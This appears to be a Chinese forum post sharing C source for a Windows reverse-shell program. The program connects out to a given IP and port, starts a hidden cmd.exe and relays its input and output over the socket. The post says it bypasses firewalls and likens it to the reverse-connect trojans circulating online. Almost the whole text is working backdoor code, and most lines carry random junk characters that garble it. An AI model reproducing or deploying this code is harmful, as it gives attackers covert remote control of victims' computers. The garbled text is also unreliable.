这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j|^-1X
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/* ============================== 3K=q)|
Rebound port in Windows NT x.0k%H
By wind,2006/7 B[)
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===============================*/ VEFwqB1l
#include bLU^1S8Z
#include Q0
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#pragma comment(lib,"wsock32.lib") |_hioMVz
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void OutputShell(); o(Ua",|
SOCKET sClient; .}L-c>o"o
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &cv@Kihq(
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void main(int argc,char **argv) )OW(T^>_'I
{ C8bGae(
WSADATA stWsaData; u7<qaOzs?
int nRet; Sleu#]-
SOCKADDR_IN stSaiClient,stSaiServer; *G2)@0
{
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if(argc != 3) kT Z?+hx
{ Lo$Z>u4(c
printf("Useage:\n\rRebound DestIP DestPort\n"); 3*X,{%
return; >|UrxJ7
} STFQ";z$
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WSAStartup(MAKEWORD(2,2),&stWsaData); FqT,4SIR
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; 7dM6;`V^
stSaiClient.sin_port = htons(0); &;~2sEo,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #Lhj0M;a
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?$)x$nS`
{ Tc'{i#%9j
printf("Bind Socket Failed!\n"); T!^?d5uW#
return; RpmBP[
} tdw\Di#m
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stSaiServer.sin_family = AF_INET; A}t&-
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .b_0k<M!p
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]<\;d
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^LEmi1L
{ P/C+L[X=
printf("Connect Error!"); ZuFVtW@
return; tn:/pPap
} ~7,2N.vO2
OutputShell(); :XPC0^4s
} ,E/Y@sajn+
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void OutputShell() (_i
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{ _v~D{H&}
char szBuff[1024]; zDvP7hl
SECURITY_ATTRIBUTES stSecurityAttributes; 7T|J[WO
OSVERSIONINFO stOsversionInfo; N SxPN:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $tt0D?$4
STARTUPINFO stStartupInfo; xnRp/I
char *szShell; (giTp@Tp
PROCESS_INFORMATION stProcessInformation; k+7M|t.?4
unsigned long lBytesRead; R$T[%AGZ.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ; $ ?jR
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #iRyjD
stSecurityAttributes.lpSecurityDescriptor = 0; iX>!ju'V
stSecurityAttributes.bInheritHandle = TRUE; kYI(<oTY~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8}pcanPg
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :9!0Rm
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LrM.wr zI/
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O yH!V&w
stStartupInfo.wShowWindow = SW_HIDE; 4U! .UNi
stStartupInfo.hStdInput = hReadPipe; "z#?OV5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cyHak u+
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GetVersionEx(&stOsversionInfo); ].<sAmL^
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switch(stOsversionInfo.dwPlatformId) jL7MmR#y5"
{ $!l2=^\3
case 1: eUKl
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szShell = "command.com"; $ )TF,-#x
break; ExOB P
default: OnPy8mC
szShell = "cmd.exe"; u7Y'3x,`
break; e??{&[
} /|u]Y/ *
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?D~SHcBaN
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send(sClient,szMsg,77,0); )QSt7g|OF
while(1) (/x@W`
{ i9EMi_%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xv#j 593
if(lBytesRead) @)2V"FE4i
{ @R OY}CZ{/
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ev: !,}]w
send(sClient,szBuff,lBytesRead,0); ,~j$rs`Z
} Q~w G(0'8
else <v7KE*#
{ q@MjeGs%
lBytesRead=recv(sClient,szBuff,1024,0); .e
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if(lBytesRead<=0) break; D
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @;T#+!
} I>8 @=V~
} ndCS<ojcBP
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return; i!d7,>l+Q~
}